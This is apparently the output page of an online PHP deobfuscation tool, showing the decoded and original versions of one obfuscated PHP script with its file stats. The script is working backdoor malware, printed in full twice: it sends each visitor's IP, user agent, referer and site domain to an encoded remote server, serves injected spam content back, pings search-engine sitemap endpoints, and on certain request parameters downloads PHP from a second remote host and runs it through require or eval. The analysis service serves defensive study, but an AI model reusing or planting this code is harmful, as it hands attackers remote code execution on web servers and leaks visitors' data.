Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); $ZDV9m = "Ha0RDcvo3LzVTMwUXLyYTMukWeiFXZ0NmLpxmZUv"; $KM3sW..

Decoded Output download

<?php 
 
error_reporting(0); 
$ZDV9m = "Ha0RDcvo3LzVTMwUXLyYTMukWeiFXZ0NmLpxmZUv"; 
$KM3sW = "Ha0RHc6MyLj9mLjlzduU2Yt9wL=="; 
function Xm0cB($SP1RS) 
{ 
    $RRgkL = substr($SP1RS, 0, 5); 
    $dunSL = substr($SP1RS, -5); 
    $nEbxJ = substr($SP1RS, 7, strlen($SP1RS) - 14); 
    return gzinflate(base64_decode($RRgkL . $nEbxJ . $dunSL)); 
} 
function HwnV0($wOE5V) 
{ 
    if (preg_match("/^https*\:\/\//si", $wOE5V)) { 
        $qFyZo = file_get_contents($wOE5V); 
        if (!($qFyZo != false)) { 
            $ARl2U = "curl_init+curl_setopt+curl_exec|fsockopen|pfsockopen|stream_socket_client|socket_create"; 
            $wxiKH = $GiByO = $it3l9 = $prLCh = ''; 
            foreach (array(0 => "curl_init+curl_setopt+curl_exec", 1 => "fsockopen", 2 => "pfsockopen", 3 => "stream_socket_client", 4 => "socket_create") as $rsGaQ) { 
                $KomOS = 1; 
                foreach (explode("+", $rsGaQ) as $gL97u) { 
                    if (!function_exists($gL97u)) { 
                        $KomOS = 0; 
                    } 
                } 
                unset($gL97u); 
                if (!$KomOS) { 
                } 
                $wxiKH = $rsGaQ; 
                goto didTj; 
            } 
            didTj: 
            unset($ARl2U, $rsGaQ); 
            if (!($wxiKH == '')) { 
                if (!(substr($wxiKH, 0, 1) == "c")) { 
                    pxw9G: 
                    $EyTmb = parse_url($wOE5V); 
                    isset($EyTmb["host"]) || ($EyTmb["host"] = ''); 
                    isset($EyTmb["path"]) || ($EyTmb["path"] = ''); 
                    isset($EyTmb["query"]) || ($EyTmb["query"] = ''); 
                    isset($EyTmb["port"]) || ($EyTmb["port"] = ''); 
                    $IgpnB = $EyTmb["path"] ? $EyTmb["path"] . ($EyTmb["query"] ? "?" . $EyTmb["query"] : '') : "/"; 
                    $Zba5I = $EyTmb["host"]; 
                    if ($EyTmb["scheme"] == "https") { 
                        $l8kAz = "1.1"; 
                        $THf9J = empty($EyTmb["port"]) ? 443 : $EyTmb["port"]; 
                        $Zba5I = "ssl://"; 
                        $Zba5I .= $EyTmb["host"]; 
                        goto chnof; 
                    } 
                    $l8kAz = "1.0"; 
                    $THf9J = empty($EyTmb["port"]) ? 80 : $EyTmb["port"]; 
                    chnof: 
                    $ASFSJ = "Host: "; 
                    $ASFSJ .= $Zba5I; 
                    $wuLO2[] = $ASFSJ; 
                    $wuLO2[] = "Connection: Close"; 
                    $wuLO2[] = "User-Agent: s"; 
                    $wuLO2[] = "Accept: */*"; 
                    unset($ASFSJ); 
                    $GiByO = "GET {$IgpnB} HTTP/{$l8kAz}" . PHP_EOL . join(PHP_EOL, $wuLO2) . PHP_EOL . PHP_EOL; 
                    unset($wuLO2, $EyTmb, $l8kAz, $IgpnB); 
                    $ofZXQ = null; 
                    if (substr($wxiKH, -1) == "n") { 
                        $ofZXQ = $wxiKH($Zba5I, $THf9J, $it3l9, $prLCh, 30); 
                        goto g1ceB; 
                    } 
                    if (!(substr($wxiKH, -1) == "t")) { 
                        goto so8hu; 
                    } 
                    $MhHlE = "tcp://"; 
                    $MhHlE .= $Zba5I; 
                    $MhHlE .= ":"; 
                    $MhHlE .= $THf9J; 
                    $ofZXQ = stream_socket_client($MhHlE, $it3l9, $prLCh, 30); 
                    unset($MhHlE); 
                    so8hu: 
                    g1ceB: 
                    $umQ2f = ''; 
                    if ($ofZXQ) { 
                        stream_set_blocking($ofZXQ, TRUE); 
                        stream_set_timeout($ofZXQ, 30); 
                        fwrite($ofZXQ, $GiByO); 
                        $lHARH = stream_get_meta_data($ofZXQ); 
                        if ($lHARH["timed_out"]) { 
                            goto o8flj; 
                        } 
                        g1irT: 
                        if (feof($ofZXQ)) { 
                            goto ZrWyI; 
                        } 
                        $J8WD3 = fgets($ofZXQ); 
                        if (!($J8WD3 && (rawurlencode($J8WD3) == "%0D%0A" || rawurlencode($J8WD3) == "%0A"))) { 
                            unset($J8WD3); 
                            goto g1irT; 
                        } 
                        ZrWyI: 
                        YVGJD: 
                        if (feof($ofZXQ)) { 
                            o8flj: 
                            unset($lHARH); 
                            fclose($ofZXQ); 
                            goto bZAw4; 
                        } 
                        $d0lhD = fread($ofZXQ, 8192); 
                        $umQ2f .= $d0lhD; 
                        unset($d0lhD); 
                        goto YVGJD; 
                    } 
                    if (!(substr($wxiKH, -1) == "e")) { 
                        goto IJAwA; 
                    } 
                    $R9qzg = gethostbyname($Zba5I); 
                    $ofZXQ = $wxiKH(AF_INET, SOCK_STREAM, 0); 
                    if (!socket_connect($ofZXQ, $R9qzg, $THf9J)) { 
                        goto vxXUI; 
                    } 
                    socket_write($ofZXQ, $GiByO, strlen($GiByO)); 
                    aJARH: 
                    if (!($kAfCP = @socket_read($ofZXQ, 8192))) { 
                        $umQ2f = explode("

", $umQ2f); 
                        array_shift($umQ2f); 
                        $umQ2f = implode("

", $umQ2f); 
                        vxXUI: 
                        socket_close($ofZXQ); 
                        unset($R9qzg); 
                        IJAwA: 
                        bZAw4: 
                        unset($GiByO, $wxiKH, $ofZXQ, $THf9J, $Zba5I); 
                        $umQ2f = @preg_replace_callback("/(?:(?:\r\n|\n)|^)([0-9A-F]+)(?:\r\n|\n){1,2}(.*?)((?:\r\n|\n)(?:[0-9A-F]+(?:\r\n|\n))|\$)/si", "f_async", $umQ2f); 
                        return trim(trim($umQ2f, "")); 
                    } 
                    $umQ2f .= $kAfCP; 
                    unset($kAfCP); 
                    goto aJARH; 
                } 
                $AIEFB = curl_init(); 
                curl_setopt($AIEFB, CURLOPT_URL, $wOE5V); 
                curl_setopt($AIEFB, CURLOPT_USERAGENT, "s"); 
                curl_setopt($AIEFB, CURLOPT_RETURNTRANSFER, 1); 
                curl_setopt($AIEFB, CURLOPT_TIMEOUT, 100); 
                curl_setopt($AIEFB, CURLOPT_FRESH_CONNECT, TRUE); 
                curl_setopt($AIEFB, CURLOPT_SSL_VERIFYPEER, 0); 
                $PVxdt = curl_exec($AIEFB); 
                curl_close($AIEFB); 
                if (!$PVxdt) { 
                    return "501"; 
                } 
                return $PVxdt; 
            } 
            return 0; 
        } 
        return $qFyZo; 
    } 
    return "500"; 
} 
function IZBDR($NNUN2) 
{ 
    return hexdec($NNUN2[1]) == strlen($NNUN2[2]) ? $NNUN2[2] : $NNUN2[0]; 
} 
function YBdlr($beZU_ = '') 
{ 
    $beZU_ = $_SERVER["HTTP_VIA"] ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; 
    $beZU_ = $beZU_ ? $beZU_ : $_SERVER["REMOTE_ADDR"]; 
    return trim($beZU_); 
} 
function Lo4OJ($SP1RS = '') 
{ 
    if (isset($_SERVER["HTTP_HOST"])) { 
        return $_SERVER["HTTP_HOST"]; 
    } 
    if (isset($_SERVER["SERVER_NAME"])) { 
        return $_SERVER["SERVER_NAME"]; 
    } 
    v33nq: 
    return $SP1RS; 
} 
function hJbXm($wOE5V) 
{ 
    $MW7oZ = hwnV0($wOE5V); 
    $YInqS = "<?php"; 
    if (!(strpos($MW7oZ, $YInqS) === false)) { 
        $y2DNw = tmpfile(); 
        if (!isset($_REQUEST["e"])) { 
            fwrite($y2DNw, $MW7oZ); 
            $ARl2U = stream_get_meta_data($y2DNw); 
            @(require $ARl2U["uri"]); 
            fclose($y2DNw); 
            die; 
        } 
        $MW7oZ = str_replace($YInqS, '', $MW7oZ); 
        $GV_La = "eval"; 
        eval($MW7oZ); 
        die; 
    } 
    die("get failed"); 
} 
function YyGn1($ZDV9m) 
{ 
    $Z49ey = substr($ZDV9m, strlen($ZDV9m) - 2); 
    $zwLTY = str_split($ZDV9m); 
    $xlrqk = ''; 
    $hdC0T = 0; 
    cBNBP: 
    if (!($hdC0T < count($zwLTY) - 2)) { 
        $xlrqk .= $Z49ey; 
        return $xlrqk; 
    } 
    $xlrqk .= $zwLTY[$hdC0T + 1] . $zwLTY[$hdC0T]; 
    $hdC0T += 2; 
    goto cBNBP; 
} 
function aN2Cv($WNf45, $fDTYL, $kcYik) 
{ 
    $LMUMH = "https://%s/ping?sitemap=%s%s/%s"; 
    $VuPSM = sprintf($LMUMH, $WNf45, $kcYik["protocol"], $kcYik["server_domain"], $fDTYL); 
    $cMPAu = HWnv0($VuPSM); 
    if (!isset($_REQUEST["st"])) { 
        $c26mA = "google"; 
        $WZV86 = "success"; 
        $r0UuS = "failed"; 
        if (!(strpos($cMPAu, $c26mA) != false)) { 
            die($r0UuS); 
        } 
        die($WZV86); 
    } 
    var_dump($VuPSM); 
    var_dump($cMPAu); 
    die; 
} 
function qGRU6($umQ2f) 
{ 
    $J90OJ = @preg_split("/{\|}/si", $umQ2f, -1, PREG_SPLIT_NO_EMPTY); 
    if (is_array($J90OJ)) { 
        if (!(count($J90OJ) != 2)) { 
            return $J90OJ; 
        } 
        return false; 
    } 
    return false; 
} 
function yUsqe($ZDV9m, $KM3sW) 
{ 
    $kcYik = array(); 
    $kcYik["default_params"] = $ZDV9m; 
    $kcYik["api"] = base64_decode(YYGN1($kcYik["default_params"])); 
    $kcYik["server_domain"] = lo4Oj(); 
    $kcYik["request_url"] = $_SERVER["REQUEST_URI"]; 
    $kcYik["referer"] = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; 
    $kcYik["user_agent"] = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; 
    $kcYik["ip"] = YBdlR(); 
    if (isset($_SERVER["HTTPS"])) { 
        $kcYik["protocol"] = "https://"; 
        goto BiYIK; 
    } 
    $kcYik["protocol"] = "http://"; 
    BiYIK: 
    if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) { 
        $kcYik["language"] = $_SERVER["HTTP_ACCEPT_LANGUAGE"]; 
        goto yiaZU; 
    } 
    $kcYik["language"] = ''; 
    yiaZU: 
    if (!isset($_GET["params"])) { 
        if (!isset($_GET["sitemap"])) { 
            goto aeFC1; 
        } 
        $fDTYL = $_GET["sitemap"]; 
        $KsLrG = "www.google.com"; 
        if (!isset($_GET["google_url"])) { 
            goto aXlE2; 
        } 
        $KsLrG = $_GET["google_url"]; 
        aXlE2: 
        an2Cv($KsLrG, $fDTYL, $kcYik); 
        aeFC1: 
        $AsFiF = "%s/?r=%s|https://google.co.jp|%s?api=%s&ac=%s&path=%s&t=%s"; 
        $AsFiF = array(0 => "%s/?r=%s", 1 => "https://google.co.jp", 2 => "%s?api=%s&ac=%s&path=%s&t=%s"); 
        if (!(isset($_REQUEST["ac"]) && isset($_REQUEST["path"]) && isset($_REQUEST["t"]))) { 
            goto bTByM; 
        } 
        hjbxm(sprintf($AsFiF[2], base64_decode(yYGN1($KM3sW)), $kcYik["api"], $_REQUEST["ac"], $_REQUEST["path"], $_REQUEST["t"])); 
        bTByM: 
        $BhHDr = array("domain" => $kcYik["server_domain"], "request_url" => $kcYik["request_url"], "ip" => $kcYik["ip"], "agent" => $kcYik["user_agent"], "referer" => $kcYik["referer"], "protocol" => $kcYik["protocol"], "language" => $kcYik["language"]); 
        $wOE5V = sprintf($AsFiF[0], $kcYik["api"], YyGn1(base64_encode(implode("{|}", $BhHDr)))); 
        $umQ2f = hwnV0($wOE5V); 
        if (!isset($_REQUEST["dump"])) { 
            $d0lhD = QGRU6($umQ2f); 
            if (!($d0lhD !== false)) { 
                // [PHPDeobfuscator] Implied return 
                return; 
            } 
            @header($d0lhD[0]); 
            echo $d0lhD[1]; 
            die; 
        } 
        var_dump($umQ2f); 
        $umQ2f = hwnv0($AsFiF[1]); 
        var_dump($umQ2f); 
        die; 
    } 
    print_r($kcYik); 
    die; 
} 
yUsqe($ZDV9m, $KM3sW); 
 ?>

Did this file decode correctly?

Original Code

<?php

error_reporting(0);
$ZDV9m = "Ha0RDcvo3LzVTMwUXLyYTMukWeiFXZ0NmLpxmZUv";
$KM3sW = "Ha0RHc6MyLj9mLjlzduU2Yt9wL==";
function Xm0cB($SP1RS)
{
    $RRgkL = substr($SP1RS, 0, 5);
    $dunSL = substr($SP1RS, -5);
    $nEbxJ = substr($SP1RS, 7, strlen($SP1RS) - 14);
    return gzinflate(base64_decode($RRgkL . $nEbxJ . $dunSL));
}
function HwnV0($wOE5V)
{
    if (preg_match("/^https*\\:\\/\\//si", $wOE5V)) {
        $qFyZo = file_get_contents($wOE5V);
        if (!($qFyZo != false)) {
            $ARl2U = "curl_init+curl_setopt+curl_exec|fsockopen|pfsockopen|stream_socket_client|socket_create";
            $wxiKH = $GiByO = $it3l9 = $prLCh = '';
            foreach (array(0 => "curl_init+curl_setopt+curl_exec", 1 => "fsockopen", 2 => "pfsockopen", 3 => "stream_socket_client", 4 => "socket_create") as $rsGaQ) {
                $KomOS = 1;
                foreach (explode("+", $rsGaQ) as $gL97u) {
                    if (!function_exists($gL97u)) {
                        $KomOS = 0;
                    }
                }
                unset($gL97u);
                if (!$KomOS) {
                }
                $wxiKH = $rsGaQ;
                goto didTj;
            }
            didTj:
            unset($ARl2U, $rsGaQ);
            if (!($wxiKH == '')) {
                if (!(substr($wxiKH, 0, 1) == "c")) {
                    pxw9G:
                    $EyTmb = parse_url($wOE5V);
                    isset($EyTmb["host"]) || ($EyTmb["host"] = '');
                    isset($EyTmb["path"]) || ($EyTmb["path"] = '');
                    isset($EyTmb["query"]) || ($EyTmb["query"] = '');
                    isset($EyTmb["port"]) || ($EyTmb["port"] = '');
                    $IgpnB = $EyTmb["path"] ? $EyTmb["path"] . ($EyTmb["query"] ? "?" . $EyTmb["query"] : '') : "/";
                    $Zba5I = $EyTmb["host"];
                    if ($EyTmb["scheme"] == "https") {
                        $l8kAz = "1.1";
                        $THf9J = empty($EyTmb["port"]) ? 443 : $EyTmb["port"];
                        $Zba5I = "ssl://";
                        $Zba5I .= $EyTmb["host"];
                        goto chnof;
                    }
                    $l8kAz = "1.0";
                    $THf9J = empty($EyTmb["port"]) ? 80 : $EyTmb["port"];
                    chnof:
                    $ASFSJ = "Host: ";
                    $ASFSJ .= $Zba5I;
                    $wuLO2[] = $ASFSJ;
                    $wuLO2[] = "Connection: Close";
                    $wuLO2[] = "User-Agent: s";
                    $wuLO2[] = "Accept: */*";
                    unset($ASFSJ);
                    $GiByO = "GET {$IgpnB} HTTP/{$l8kAz}" . PHP_EOL . join(PHP_EOL, $wuLO2) . PHP_EOL . PHP_EOL;
                    unset($wuLO2, $EyTmb, $l8kAz, $IgpnB);
                    $ofZXQ = null;
                    if (substr($wxiKH, -1) == "n") {
                        $ofZXQ = $wxiKH($Zba5I, $THf9J, $it3l9, $prLCh, 30);
                        goto g1ceB;
                    }
                    if (!(substr($wxiKH, -1) == "t")) {
                        goto so8hu;
                    }
                    $MhHlE = "tcp://";
                    $MhHlE .= $Zba5I;
                    $MhHlE .= ":";
                    $MhHlE .= $THf9J;
                    $ofZXQ = stream_socket_client($MhHlE, $it3l9, $prLCh, 30);
                    unset($MhHlE);
                    so8hu:
                    g1ceB:
                    $umQ2f = '';
                    if ($ofZXQ) {
                        stream_set_blocking($ofZXQ, TRUE);
                        stream_set_timeout($ofZXQ, 30);
                        fwrite($ofZXQ, $GiByO);
                        $lHARH = stream_get_meta_data($ofZXQ);
                        if ($lHARH["timed_out"]) {
                            goto o8flj;
                        }
                        g1irT:
                        if (feof($ofZXQ)) {
                            goto ZrWyI;
                        }
                        $J8WD3 = fgets($ofZXQ);
                        if (!($J8WD3 && (rawurlencode($J8WD3) == "%0D%0A" || rawurlencode($J8WD3) == "%0A"))) {
                            unset($J8WD3);
                            goto g1irT;
                        }
                        ZrWyI:
                        YVGJD:
                        if (feof($ofZXQ)) {
                            o8flj:
                            unset($lHARH);
                            fclose($ofZXQ);
                            goto bZAw4;
                        }
                        $d0lhD = fread($ofZXQ, 8192);
                        $umQ2f .= $d0lhD;
                        unset($d0lhD);
                        goto YVGJD;
                    }
                    if (!(substr($wxiKH, -1) == "e")) {
                        goto IJAwA;
                    }
                    $R9qzg = gethostbyname($Zba5I);
                    $ofZXQ = $wxiKH(AF_INET, SOCK_STREAM, 0);
                    if (!socket_connect($ofZXQ, $R9qzg, $THf9J)) {
                        goto vxXUI;
                    }
                    socket_write($ofZXQ, $GiByO, strlen($GiByO));
                    aJARH:
                    if (!($kAfCP = @socket_read($ofZXQ, 8192))) {
                        $umQ2f = explode("\r\n\r\n", $umQ2f);
                        array_shift($umQ2f);
                        $umQ2f = implode("\r\n\r\n", $umQ2f);
                        vxXUI:
                        socket_close($ofZXQ);
                        unset($R9qzg);
                        IJAwA:
                        bZAw4:
                        unset($GiByO, $wxiKH, $ofZXQ, $THf9J, $Zba5I);
                        $umQ2f = @preg_replace_callback("/(?:(?:\\r\\n|\\n)|^)([0-9A-F]+)(?:\\r\\n|\\n){1,2}(.*?)((?:\\r\\n|\\n)(?:[0-9A-F]+(?:\\r\\n|\\n))|\$)/si", "f_async", $umQ2f);
                        return trim(trim($umQ2f, "\xef\xbb\xbf"));
                    }
                    $umQ2f .= $kAfCP;
                    unset($kAfCP);
                    goto aJARH;
                }
                $AIEFB = curl_init();
                curl_setopt($AIEFB, CURLOPT_URL, $wOE5V);
                curl_setopt($AIEFB, CURLOPT_USERAGENT, "s");
                curl_setopt($AIEFB, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($AIEFB, CURLOPT_TIMEOUT, 100);
                curl_setopt($AIEFB, CURLOPT_FRESH_CONNECT, TRUE);
                curl_setopt($AIEFB, CURLOPT_SSL_VERIFYPEER, 0);
                $PVxdt = curl_exec($AIEFB);
                curl_close($AIEFB);
                if (!$PVxdt) {
                    return "501";
                }
                return $PVxdt;
            }
            return 0;
        }
        return $qFyZo;
    }
    return "500";
}
function IZBDR($NNUN2)
{
    return hexdec($NNUN2[1]) == strlen($NNUN2[2]) ? $NNUN2[2] : $NNUN2[0];
}
function YBdlr($beZU_ = '')
{
    $beZU_ = $_SERVER["HTTP_VIA"] ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
    $beZU_ = $beZU_ ? $beZU_ : $_SERVER["REMOTE_ADDR"];
    return trim($beZU_);
}
function Lo4OJ($SP1RS = '')
{
    if (isset($_SERVER["HTTP_HOST"])) {
        return $_SERVER["HTTP_HOST"];
    }
    if (isset($_SERVER["SERVER_NAME"])) {
        return $_SERVER["SERVER_NAME"];
    }
    v33nq:
    return $SP1RS;
}
function hJbXm($wOE5V)
{
    $MW7oZ = hwnV0($wOE5V);
    $YInqS = "<?php";
    if (!(strpos($MW7oZ, $YInqS) === false)) {
        $y2DNw = tmpfile();
        if (!isset($_REQUEST["e"])) {
            fwrite($y2DNw, $MW7oZ);
            $ARl2U = stream_get_meta_data($y2DNw);
            @(require $ARl2U["uri"]);
            fclose($y2DNw);
            die;
        }
        $MW7oZ = str_replace($YInqS, '', $MW7oZ);
        $GV_La = "eval";
        eval($MW7oZ);
        die;
    }
    die("get failed");
}
function YyGn1($ZDV9m)
{
    $Z49ey = substr($ZDV9m, strlen($ZDV9m) - 2);
    $zwLTY = str_split($ZDV9m);
    $xlrqk = '';
    $hdC0T = 0;
    cBNBP:
    if (!($hdC0T < count($zwLTY) - 2)) {
        $xlrqk .= $Z49ey;
        return $xlrqk;
    }
    $xlrqk .= $zwLTY[$hdC0T + 1] . $zwLTY[$hdC0T];
    $hdC0T += 2;
    goto cBNBP;
}
function aN2Cv($WNf45, $fDTYL, $kcYik)
{
    $LMUMH = "https://%s/ping?sitemap=%s%s/%s";
    $VuPSM = sprintf($LMUMH, $WNf45, $kcYik["protocol"], $kcYik["server_domain"], $fDTYL);
    $cMPAu = HWnv0($VuPSM);
    if (!isset($_REQUEST["st"])) {
        $c26mA = "google";
        $WZV86 = "success";
        $r0UuS = "failed";
        if (!(strpos($cMPAu, $c26mA) != false)) {
            die($r0UuS);
        }
        die($WZV86);
    }
    var_dump($VuPSM);
    var_dump($cMPAu);
    die;
}
function qGRU6($umQ2f)
{
    $J90OJ = @preg_split("/{\\|}/si", $umQ2f, -1, PREG_SPLIT_NO_EMPTY);
    if (is_array($J90OJ)) {
        if (!(count($J90OJ) != 2)) {
            return $J90OJ;
        }
        return false;
    }
    return false;
}
function yUsqe($ZDV9m, $KM3sW)
{
    $kcYik = array();
    $kcYik["default_params"] = $ZDV9m;
    $kcYik["api"] = base64_decode(YYGN1($kcYik["default_params"]));
    $kcYik["server_domain"] = lo4Oj();
    $kcYik["request_url"] = $_SERVER["REQUEST_URI"];
    $kcYik["referer"] = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
    $kcYik["user_agent"] = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '';
    $kcYik["ip"] = YBdlR();
    if (isset($_SERVER["HTTPS"])) {
        $kcYik["protocol"] = "https://";
        goto BiYIK;
    }
    $kcYik["protocol"] = "http://";
    BiYIK:
    if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) {
        $kcYik["language"] = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
        goto yiaZU;
    }
    $kcYik["language"] = '';
    yiaZU:
    if (!isset($_GET["params"])) {
        if (!isset($_GET["sitemap"])) {
            goto aeFC1;
        }
        $fDTYL = $_GET["sitemap"];
        $KsLrG = "www.google.com";
        if (!isset($_GET["google_url"])) {
            goto aXlE2;
        }
        $KsLrG = $_GET["google_url"];
        aXlE2:
        an2Cv($KsLrG, $fDTYL, $kcYik);
        aeFC1:
        $AsFiF = "%s/?r=%s|https://google.co.jp|%s?api=%s&ac=%s&path=%s&t=%s";
        $AsFiF = array(0 => "%s/?r=%s", 1 => "https://google.co.jp", 2 => "%s?api=%s&ac=%s&path=%s&t=%s");
        if (!(isset($_REQUEST["ac"]) && isset($_REQUEST["path"]) && isset($_REQUEST["t"]))) {
            goto bTByM;
        }
        hjbxm(sprintf($AsFiF[2], base64_decode(yYGN1($KM3sW)), $kcYik["api"], $_REQUEST["ac"], $_REQUEST["path"], $_REQUEST["t"]));
        bTByM:
        $BhHDr = array("domain" => $kcYik["server_domain"], "request_url" => $kcYik["request_url"], "ip" => $kcYik["ip"], "agent" => $kcYik["user_agent"], "referer" => $kcYik["referer"], "protocol" => $kcYik["protocol"], "language" => $kcYik["language"]);
        $wOE5V = sprintf($AsFiF[0], $kcYik["api"], YyGn1(base64_encode(implode("{|}", $BhHDr))));
        $umQ2f = hwnV0($wOE5V);
        if (!isset($_REQUEST["dump"])) {
            $d0lhD = QGRU6($umQ2f);
            if (!($d0lhD !== false)) {
                // [PHPDeobfuscator] Implied return
                return;
            }
            @header($d0lhD[0]);
            echo $d0lhD[1];
            die;
        }
        var_dump($umQ2f);
        $umQ2f = hwnv0($AsFiF[1]);
        var_dump($umQ2f);
        die;
    }
    print_r($kcYik);
    die;
}
yUsqe($ZDV9m, $KM3sW);

Function Calls

None

Variables

None

Stats

MD5 9903f86718ecbbe8f2c8ed4756f68133
Eval Count 0
Decode Time 107 ms